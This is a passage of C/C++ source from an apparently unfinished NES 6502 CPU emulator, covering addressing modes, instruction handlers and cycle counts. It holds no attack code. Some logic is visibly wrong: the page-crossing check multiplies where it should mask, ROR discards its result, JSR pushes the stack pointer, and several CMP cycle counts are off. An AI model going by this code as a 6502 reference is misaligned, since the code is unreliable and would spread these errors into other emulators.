"PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); zero_page_addr = nes_cpu_program_read(cpu); nes_addr addr_indirect_lower = nes_memory_map_read(&cpu->mem_map,zero_page_addr + cpu->registers.ir_x); nes_addr addr_indirect_upper = nes_memory_map_read(&cpu->mem_map,zero_page_addr + cpu->registers.ir_x + 1); address = (addr_indirect_upper << 8) + addr_indirect_lower; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); } break; case NesCpuAddressMode::indirect_indexed_y: { sprintf(cpu->debug_info.addr_mode_str,"MODE: IND-Y"); nes_addr zero_page_addr = 0; sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); zero_page_addr = nes_cpu_program_read(cpu); nes_addr addr_indirect_lower = nes_memory_map_read(&cpu->mem_map,zero_page_addr); nes_addr addr_indirect_upper = nes_memory_map_read(&cpu->mem_map,zero_page_addr + 1); address = (addr_indirect_upper << 8) + addr_indirect_lower + cpu->registers.ir_y; cpu->current_instr.operand_addr = nes_memory_map_address(&cpu->mem_map,address); cpu->current_instr.result.page_boundary_crossed = (((addr_indirect_upper << 8) + addr_indirect_lower) & 0xFF00) != (address * 0xFF00); } break; default: break; } } internal void nes_cpu_branch_and_update_cycles(NesCpu* cpu) { //add 1 cycle for branching to same page, add 2 cycles for branching to different page cpu->current_instr.result.branch_cycles = (cpu->registers.pc & 0xFF00) == ((cpu->registers.pc + *cpu->current_instr.operand_addr) & 0xFF00) ? 1 : 2; //update program counter cpu->registers.pc += *cpu->current_instr.operand_addr; } internal void nes_cpu_instr_adc(NesCpu* cpu) { cpu->current_instr.result.value = cpu->registers.acc_a + *cpu->current_instr.operand_addr + nes_cpu_flag_read(cpu, NES_CPU_FLAG_C); cpu->registers.acc_a = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_v = TRUE; cpu->debug_info.op_code_str = "INSTR: ADC"; } internal void nes_cpu_instr_and(NesCpu* cpu) { cpu->current_instr.result.value = cpu->registers.acc_a & *cpu->current_instr.operand_addr; cpu->registers.acc_a = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: AND"; } internal void nes_cpu_instr_asl(NesCpu* cpu) { cpu->current_instr.result.value = *cpu->current_instr.operand_addr << 1; *cpu->current_instr.operand_addr = (nes_val)cpu->current_instr.result.value; cpu->debug_info.op_code_str = "INSTR: ASL"; } internal void nes_cpu_instr_bcc(NesCpu* cpu) { if (nes_cpu_flag_read(cpu, NES_CPU_FLAG_C) == 0) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BCC"; } internal void nes_cpu_instr_bcs(NesCpu* cpu) { if (nes_cpu_flag_read(cpu, NES_CPU_FLAG_C) == 1) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BCS"; } internal void nes_cpu_instr_beq(NesCpu* cpu) { if (nes_cpu_flag_read(cpu,NES_CPU_FLAG_Z) == 1) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BEQ"; } internal void nes_cpu_instr_bit(NesCpu* cpu) { //transfer bit 6 of operand to V flag nes_cpu_flag_clear(cpu,NES_CPU_FLAG_V); if (ReadBitInByte(6, *cpu->current_instr.operand_addr) == 1) { nes_cpu_flag_set(cpu,NES_CPU_FLAG_V); } //transfer bit 7 of operand to N flag nes_cpu_flag_clear(cpu,NES_CPU_FLAG_N); if (ReadBitInByte(7, *cpu->current_instr.operand_addr) == 1) { nes_cpu_flag_set(cpu,NES_CPU_FLAG_N); } //the result of A and Operand will be used for the zero flag cpu->current_instr.result.value = (cpu->registers.acc_a & *cpu->current_instr.operand_addr); cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: BIT"; } internal void nes_cpu_instr_bmi(NesCpu* cpu) { if (nes_cpu_flag_read(cpu,NES_CPU_FLAG_N) == 1) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BMI"; } internal void nes_cpu_instr_bne(NesCpu* cpu) { if (nes_cpu_flag_read(cpu,NES_CPU_FLAG_Z) == 0) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BNE"; } internal void nes_cpu_instr_bpl(NesCpu* cpu) { if (nes_cpu_flag_read(cpu,NES_CPU_FLAG_N) == 0) { nes_cpu_branch_and_update_cycles(cpu); } cpu->debug_info.op_code_str = "INSTR: BPL"; } internal void nes_cpu_instr_brk(NesCpu* cpu) { cpu->current_instr.result.flag_b = TRUE; cpu->debug_info.op_code_str = "INSTR: BRK"; } internal void nes_cpu_instr_bvc(NesCpu* cpu) { cpu->registers.pc += nes_cpu_flag_read(cpu,NES_CPU_FLAG_V) == 0 ? *cpu->current_instr.operand_addr : 0; cpu->debug_info.op_code_str = "INSTR: BVC"; } internal void nes_cpu_instr_bvs(NesCpu* cpu) { cpu->registers.pc += nes_cpu_flag_read(cpu,NES_CPU_FLAG_V) == 1 ? *cpu->current_instr.operand_addr : 0; cpu->debug_info.op_code_str = "INSTR: BVS"; } internal void nes_cpu_instr_clc(NesCpu* cpu) { nes_cpu_flag_clear(cpu,NES_CPU_FLAG_C); cpu->debug_info.op_code_str = "INSTR: CLC"; } internal void nes_cpu_instr_cld(NesCpu* cpu) { nes_cpu_flag_clear(cpu,NES_CPU_FLAG_D); cpu->debug_info.op_code_str = "INSTR: CLD"; } internal void nes_cpu_instr_cli(NesCpu* cpu) { nes_cpu_flag_clear(cpu,NES_CPU_FLAG_I); cpu->debug_info.op_code_str = "INSTR: CLI"; } internal void nes_cpu_instr_clv(NesCpu* cpu) { nes_cpu_flag_clear(cpu,NES_CPU_FLAG_V); cpu->debug_info.op_code_str = "INSTR: CLV"; } internal void nes_cpu_instr_cmp(NesCpu* cpu) { cpu->current_instr.result.value = (cpu->registers.acc_a - *cpu->current_instr.operand_addr); cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: CMP"; } internal void nes_cpu_instr_cpx(NesCpu* cpu) { cpu->current_instr.result.value = (cpu->registers.ir_x - *cpu->current_instr.operand_addr); cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: CPX"; } internal void nes_cpu_instr_cpy(NesCpu* cpu) { cpu->current_instr.result.value = (cpu->registers.ir_y - *cpu->current_instr.operand_addr); cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: CPY"; } internal void nes_cpu_instr_dec(NesCpu* cpu) { --(*cpu->current_instr.operand_addr); cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: DEC"; } internal void nes_cpu_instr_dex(NesCpu* cpu) { --cpu->registers.ir_x; cpu->current_instr.result.value = cpu->registers.ir_x; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: DEX"; } internal void nes_cpu_instr_dey(NesCpu* cpu) { --cpu->registers.ir_y; cpu->current_instr.result.value = cpu->registers.ir_y; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: DEY"; } internal void nes_cpu_instr_eor(NesCpu* cpu) { cpu->current_instr.result.value = (cpu->registers.acc_a ^ *cpu->current_instr.operand_addr); cpu->registers.acc_a = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: EOR"; } internal void nes_cpu_instr_inc(NesCpu* cpu) { ++(*cpu->current_instr.operand_addr); cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: INC"; } internal void nes_cpu_instr_inx(NesCpu* cpu) { ++cpu->registers.ir_x; cpu->current_instr.result.value = cpu->registers.ir_x; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: INX"; } internal void nes_cpu_instr_iny(NesCpu* cpu) { ++cpu->registers.ir_y; cpu->current_instr.result.value = cpu->registers.ir_y; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: INY"; } internal void nes_cpu_instr_jmp(NesCpu* cpu) { cpu->registers.pc = *cpu->current_instr.operand_addr; cpu->debug_info.op_code_str = "INSTR: JMP"; } internal void nes_cpu_instr_jsr(NesCpu* cpu) { nes_cpu_stack_push(cpu, cpu->registers.sp); cpu->registers.pc = *cpu->current_instr.operand_addr; cpu->debug_info.op_code_str = "INSTR: JSR"; } internal void nes_cpu_instr_lda(NesCpu* cpu) { cpu->registers.acc_a = *cpu->current_instr.operand_addr; cpu->current_instr.result.value = cpu->registers.acc_a; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: LDA"; } internal void nes_cpu_instr_ldx(NesCpu* cpu) { cpu->registers.ir_x = *cpu->current_instr.operand_addr; cpu->current_instr.result.value = cpu->registers.ir_x; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: LDX"; } internal void nes_cpu_instr_ldy(NesCpu* cpu) { cpu->registers.ir_y = *cpu->current_instr.operand_addr; cpu->current_instr.result.value = cpu->registers.ir_y; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: LDY"; } internal void nes_cpu_instr_lsr(NesCpu* cpu) { cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.value >>= 1; *cpu->current_instr.operand_addr = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_z = TRUE; nes_cpu_flag_clear(cpu,NES_CPU_FLAG_N); cpu->debug_info.op_code_str = "INSTR: LSR"; } internal void nes_cpu_instr_nop(NesCpu* cpu) { //¯\_(ツ)_/¯ cpu->debug_info.op_code_str = "INSTR: NOP"; } internal void nes_cpu_instr_ora(NesCpu* cpu) { cpu->current_instr.result.value = (cpu->registers.acc_a | *cpu->current_instr.operand_addr); cpu->registers.acc_a = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: ORA"; } internal void nes_cpu_instr_pha(NesCpu* cpu) { nes_cpu_stack_push(cpu, cpu->registers.acc_a); cpu->debug_info.op_code_str = "INSTR: PHA"; } internal void nes_cpu_instr_php(NesCpu* cpu) { nes_cpu_stack_push(cpu, cpu->registers.p); } internal void nes_cpu_instr_pla(NesCpu* cpu) { cpu->registers.acc_a = nes_cpu_stack_pull(cpu); cpu->current_instr.result.value = cpu->registers.acc_a; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: PLA"; } internal void nes_cpu_instr_plp(NesCpu* cpu) { cpu->registers.p = nes_cpu_stack_pull(cpu); cpu->debug_info.op_code_str = "INSTR: PLP"; } internal void nes_cpu_instr_rol(NesCpu* cpu) { cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.value <<= 1; *cpu->current_instr.operand_addr = (nes_val)cpu->current_instr.result.value; *cpu->current_instr.operand_addr += nes_cpu_flag_read(cpu, NES_CPU_FLAG_C); cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->current_instr.result.flag_n = TRUE; cpu->debug_info.op_code_str = "INSTR: ROL"; } internal void nes_cpu_instr_ror(NesCpu* cpu) { cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.value >>= 1; cpu->current_instr.result.value += (nes_cpu_flag_read(cpu, NES_CPU_FLAG_C) << 8); cpu->current_instr.result.value = *cpu->current_instr.operand_addr; cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->current_instr.result.flag_n = TRUE; cpu->debug_info.op_code_str = "INSTR: ROR"; } internal void nes_cpu_instr_rti(NesCpu* cpu) { cpu->registers.p = nes_cpu_stack_pull(cpu); cpu->registers.pc = nes_cpu_stack_pull(cpu); nes_cpu_flag_clear(cpu,NES_CPU_FLAG_B); cpu->debug_info.op_code_str = "INSTR: RTI"; } internal void nes_cpu_instr_rts(NesCpu* cpu) { cpu->registers.pc = nes_cpu_stack_pull(cpu) + 1; cpu->debug_info.op_code_str = "INSTR: RTS"; } internal void nes_cpu_instr_sbc(NesCpu* cpu) { cpu->current_instr.result.value = cpu->registers.acc_a - *cpu->current_instr.operand_addr - nes_cpu_flag_read(cpu, NES_CPU_FLAG_C); cpu->registers.acc_a = (nes_val)cpu->current_instr.result.value; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->current_instr.result.flag_c = TRUE; cpu->current_instr.result.flag_v = TRUE; cpu->debug_info.op_code_str = "INSTR: SBC"; } internal void nes_cpu_instr_sec(NesCpu* cpu) { nes_cpu_flag_set(cpu,NES_CPU_FLAG_C); cpu->debug_info.op_code_str = "INSTR: SEC"; } internal void nes_cpu_instr_sed(NesCpu* cpu) { nes_cpu_flag_set(cpu,NES_CPU_FLAG_D); cpu->debug_info.op_code_str = "INSTR: SED"; } internal void nes_cpu_instr_sei(NesCpu* cpu) { nes_cpu_flag_set(cpu,NES_CPU_FLAG_I); cpu->debug_info.op_code_str = "INSTR: SEI"; } internal void nes_cpu_instr_sta(NesCpu* cpu) { *cpu->current_instr.operand_addr = cpu->registers.acc_a; cpu->debug_info.op_code_str = "INSTR: STA"; } internal void nes_cpu_instr_stx(NesCpu* cpu) { *cpu->current_instr.operand_addr = cpu->registers.ir_x; cpu->debug_info.op_code_str = "INSTR: STX"; } internal void nes_cpu_instr_sty(NesCpu* cpu) { *cpu->current_instr.operand_addr = cpu->registers.ir_y; cpu->debug_info.op_code_str = "INSTR: STY"; } internal void nes_cpu_instr_tax(NesCpu* cpu) { cpu->registers.ir_x = cpu->registers.acc_a; cpu->current_instr.result.value = cpu->registers.ir_x; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: TAX"; } internal void nes_cpu_instr_tay(NesCpu* cpu) { cpu->registers.ir_y = cpu->registers.acc_a; cpu->current_instr.result.value = cpu->registers.ir_y; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: TAY"; } internal void nes_cpu_instr_tsx(NesCpu* cpu) { cpu->registers.ir_x = cpu->registers.sp; cpu->current_instr.result.value = cpu->registers.ir_x; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: TSX"; } internal void nes_cpu_instr_txa(NesCpu* cpu) { cpu->registers.acc_a = cpu->registers.ir_x; cpu->current_instr.result.value = cpu->registers.acc_a; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: TXA"; } internal void nes_cpu_instr_txs(NesCpu* cpu) { cpu->registers.sp = cpu->registers.ir_x; cpu->debug_info.op_code_str = "INSTR: TXS"; } internal void nes_cpu_instr_tya(NesCpu* cpu) { cpu->registers.acc_a = cpu->registers.ir_y; cpu->current_instr.result.value = cpu->registers.acc_a; cpu->current_instr.result.flag_n = TRUE; cpu->current_instr.result.flag_z = TRUE; cpu->debug_info.op_code_str = "INSTR: TYA"; } internal void nes_cpu_addr_mode_decode_from_instr(NesCpu* cpu) { switch (cpu->current_instr.op_code) { //accumulator case NES_CPU_INSTR_ASL_ACC: case NES_CPU_INSTR_LSR_ACC: case NES_CPU_INSTR_ROL_ACC: case NES_CPU_INSTR_ROR_ACC: { cpu->current_instr.addr_mode = NesCpuAddressMode::accumulator; } break; //absolute case NES_CPU_INSTR_ADC_ABS: case NES_CPU_INSTR_AND_ABS: case NES_CPU_INSTR_ASL_ABS: case NES_CPU_INSTR_BIT_ABS: case NES_CPU_INSTR_CMP_ABS: case NES_CPU_INSTR_CPY_ABS: case NES_CPU_INSTR_DEC_ABS: case NES_CPU_INSTR_EOR_ABS: case NES_CPU_INSTR_INC_ABS: case NES_CPU_INSTR_JMP_ABS: case NES_CPU_INSTR_JSR_ABS: case NES_CPU_INSTR_LDA_ABS: case NES_CPU_INSTR_LDX_ABS: case NES_CPU_INSTR_LDY_ABS: case NES_CPU_INSTR_LSR_ABS: case NES_CPU_INSTR_ORA_ABS: case NES_CPU_INSTR_ROL_ABS: case NES_CPU_INSTR_ROR_ABS: case NES_CPU_INSTR_SBC_ABS: case NES_CPU_INSTR_STA_ABS: case NES_CPU_INSTR_STX_ABS: case NES_CPU_INSTR_STY_ABS: { cpu->current_instr.addr_mode = NesCpuAddressMode::absolute; } break; //absolute x indexed case NES_CPU_INSTR_ADC_ABS_X: case NES_CPU_INSTR_AND_ABS_X: case NES_CPU_INSTR_ASL_ABS_X: case NES_CPU_INSTR_CMP_ABS_X: case NES_CPU_INSTR_DEC_ABS_X: case NES_CPU_INSTR_EOR_ABS_X: case NES_CPU_INSTR_INC_ABS_X: case NES_CPU_INSTR_LDA_ABS_X: case NES_CPU_INSTR_LDY_ABS_X: case NES_CPU_INSTR_LSR_ABS_X: case NES_CPU_INSTR_ORA_ABS_X: case NES_CPU_INSTR_ROL_ABS_X: case NES_CPU_INSTR_ROR_ABS_X: case NES_CPU_INSTR_SBC_ABS_X: case NES_CPU_INSTR_STA_ABS_X: { cpu->current_instr.addr_mode = NesCpuAddressMode::absolute_indexed_x; } break; //absolute y indexed case NES_CPU_INSTR_ADC_ABS_Y: case NES_CPU_INSTR_AND_ABS_Y: case NES_CPU_INSTR_CMP_ABS_Y: case NES_CPU_INSTR_EOR_ABS_Y: case NES_CPU_INSTR_LDA_ABS_Y: case NES_CPU_INSTR_LDX_ABS_Y: case NES_CPU_INSTR_ORA_ABS_Y: case NES_CPU_INSTR_SBC_ABS_Y: case NES_CPU_INSTR_STA_ABS_Y: { cpu->current_instr.addr_mode = NesCpuAddressMode::absolute_indexed_y; } break; //immediate case NES_CPU_INSTR_ADC_IMM: case NES_CPU_INSTR_AND_IMM: case NES_CPU_INSTR_CMP_IMM: case NES_CPU_INSTR_CPY_IMM: case NES_CPU_INSTR_EOR_IMM: case NES_CPU_INSTR_LDA_IMM: case NES_CPU_INSTR_LDX_IMM: case NES_CPU_INSTR_LDY_IMM: case NES_CPU_INSTR_ORA_IMM: case NES_CPU_INSTR_SBC_IMM: { cpu->current_instr.addr_mode = NesCpuAddressMode::immediate; } break; //implied case NES_CPU_INSTR_BRK_IMP: case NES_CPU_INSTR_CLC_IMP: case NES_CPU_INSTR_CLD_IMP: case NES_CPU_INSTR_CLI_IMP: case NES_CPU_INSTR_CLV_IMP: case NES_CPU_INSTR_DEX_IMP: case NES_CPU_INSTR_DEY_IMP: case NES_CPU_INSTR_INX_IMP: case NES_CPU_INSTR_INY_IMP: case NES_CPU_INSTR_NOP_IMP: case NES_CPU_INSTR_PHA_IMP: case NES_CPU_INSTR_PHP_IMP: case NES_CPU_INSTR_PLA_IMP: case NES_CPU_INSTR_PLP_IMP: case NES_CPU_INSTR_RTI_IMP: case NES_CPU_INSTR_RTS_IMP: case NES_CPU_INSTR_SEC_IMP: case NES_CPU_INSTR_SED_IMP: case NES_CPU_INSTR_SEI_IMP: case NES_CPU_INSTR_TAX_IMP: case NES_CPU_INSTR_TAY_IMP: case NES_CPU_INSTR_TSX_IMP: case NES_CPU_INSTR_TXA_IMP: case NES_CPU_INSTR_TXS_IMP: case NES_CPU_INSTR_TYA_IMP: { cpu->current_instr.addr_mode = NesCpuAddressMode::implied; } break; //indirect case NES_CPU_INSTR_JMP_IND: { cpu->current_instr.addr_mode = NesCpuAddressMode::indirect; } break; //indirect x case NES_CPU_INSTR_ADC_IND_X: case NES_CPU_INSTR_AND_IND_X: case NES_CPU_INSTR_CMP_IND_X: case NES_CPU_INSTR_EOR_IND_X: case NES_CPU_INSTR_LDA_IND_X: case NES_CPU_INSTR_ORA_IND_X: case NES_CPU_INSTR_SBC_IND_X: case NES_CPU_INSTR_STA_IND_X: { cpu->current_instr.addr_mode = NesCpuAddressMode::indexed_indirect_x; } break; //indirect y case NES_CPU_INSTR_ADC_IND_Y: case NES_CPU_INSTR_AND_IND_Y: case NES_CPU_INSTR_CMP_IND_Y: case NES_CPU_INSTR_EOR_IND_Y: case NES_CPU_INSTR_LDA_IND_Y: case NES_CPU_INSTR_ORA_IND_Y: case NES_CPU_INSTR_SBC_IND_Y: case NES_CPU_INSTR_STA_IND_Y: { cpu->current_instr.addr_mode = NesCpuAddressMode::indirect_indexed_y; } break; //relative case NES_CPU_INSTR_BCC_REL: case NES_CPU_INSTR_BCS_REL: case NES_CPU_INSTR_BEQ_REL: case NES_CPU_INSTR_BMI_REL: case NES_CPU_INSTR_BNE_REL: case NES_CPU_INSTR_BPL_REL: case NES_CPU_INSTR_BVC_REL: case NES_CPU_INSTR_BVS_REL: { cpu->current_instr.addr_mode = NesCpuAddressMode::relative; } break; //zero paged case NES_CPU_INSTR_ADC_ZP: case NES_CPU_INSTR_AND_ZP: case NES_CPU_INSTR_ASL_ZP: case NES_CPU_INSTR_BIT_ZP: case NES_CPU_INSTR_CMP_ZP: case NES_CPU_INSTR_CPY_ZP: case NES_CPU_INSTR_DEC_ZP: case NES_CPU_INSTR_EOR_ZP: case NES_CPU_INSTR_INC_ZP: case NES_CPU_INSTR_LDA_ZP: case NES_CPU_INSTR_LDX_ZP: case NES_CPU_INSTR_LDY_ZP: case NES_CPU_INSTR_LSR_ZP: case NES_CPU_INSTR_ORA_ZP: case NES_CPU_INSTR_ROL_ZP: case NES_CPU_INSTR_ROR_ZP: case NES_CPU_INSTR_SBC_ZP: case NES_CPU_INSTR_STA_ZP: case NES_CPU_INSTR_STX_ZP: case NES_CPU_INSTR_STY_ZP: { cpu->current_instr.addr_mode = NesCpuAddressMode::zero_page; } break; //zero paged x indexed case NES_CPU_INSTR_ADC_ZP_X: case NES_CPU_INSTR_AND_ZP_X: case NES_CPU_INSTR_ASL_ZP_X: case NES_CPU_INSTR_CMP_ZP_X: case NES_CPU_INSTR_DEC_ZP_X: case NES_CPU_INSTR_EOR_ZP_X: case NES_CPU_INSTR_INC_ZP_X: case NES_CPU_INSTR_LDA_ZP_X: case NES_CPU_INSTR_LDY_ZP_X: case NES_CPU_INSTR_LSR_ZP_X: case NES_CPU_INSTR_ORA_ZP_X: case NES_CPU_INSTR_ROL_ZP_X: case NES_CPU_INSTR_ROR_ZP_X: case NES_CPU_INSTR_SBC_ZP_X: case NES_CPU_INSTR_STA_ZP_X: case NES_CPU_INSTR_STY_ZP_X: { cpu->current_instr.addr_mode = NesCpuAddressMode::zero_page_indexed_x; } break; //zero paged y indexed case NES_CPU_INSTR_LDX_ZP_Y: case NES_CPU_INSTR_STX_ZP_Y: { cpu->current_instr.addr_mode = NesCpuAddressMode::zero_page_indexed_y; } break; } } internal void nes_cpu_instr_execute(NesCpu* cpu) { switch (cpu->current_instr.op_code) { case NES_CPU_INSTR_ADC_IMM: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ADC_ZP: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_ADC_ZP_X: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ADC_ABS: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ADC_ABS_X: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ADC_ABS_Y: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ADC_IND_X: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ADC_IND_Y: nes_cpu_instr_adc(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_AND_IMM: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_AND_ZP: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_AND_ZP_X: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_AND_ABS: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_AND_ABS_X: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_AND_ABS_Y: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_AND_IND_X: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_AND_IND_Y: nes_cpu_instr_and(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_ASL_ACC: nes_cpu_instr_asl(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ASL_ZP: nes_cpu_instr_asl(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_ASL_ZP_X: nes_cpu_instr_asl(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ASL_ABS: nes_cpu_instr_asl(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ASL_ABS_X: nes_cpu_instr_asl(cpu); cpu->current_instr.result.cycles = 7; break; //branches case NES_CPU_INSTR_BCC_REL: nes_cpu_instr_bcc(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BCS_REL: nes_cpu_instr_bcs(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BEQ_REL: nes_cpu_instr_beq(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BMI_REL: nes_cpu_instr_bmi(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BNE_REL: nes_cpu_instr_bne(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BPL_REL: nes_cpu_instr_bpl(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BVC_REL: nes_cpu_instr_bvc(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BVS_REL: nes_cpu_instr_bvs(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_BRK_IMP: nes_cpu_instr_brk(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_CLC_IMP: nes_cpu_instr_clc(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CLD_IMP: nes_cpu_instr_cld(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CLI_IMP: nes_cpu_instr_cli(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CLV_IMP: nes_cpu_instr_clv(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CMP_IMM: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CMP_ZP: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CMP_ZP_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CMP_ABS: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_CMP_ABS_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_CMP_ABS_Y: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_CMP_IND_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CMP_IND_Y: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CPX_IMM: nes_cpu_instr_cpx(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CPX_ZP: nes_cpu_instr_cpx(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_CPX_ABS: nes_cpu_instr_cpx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_CPY_IMM: nes_cpu_instr_cpy(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_CPY_ZP: nes_cpu_instr_cpy(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_CPY_ABS: nes_cpu_instr_cpy(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_DEC_ZP: nes_cpu_instr_dec(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_DEC_ZP_X: nes_cpu_instr_dec(cpu); cpu->current_instr.result.cycles = 6; break; case 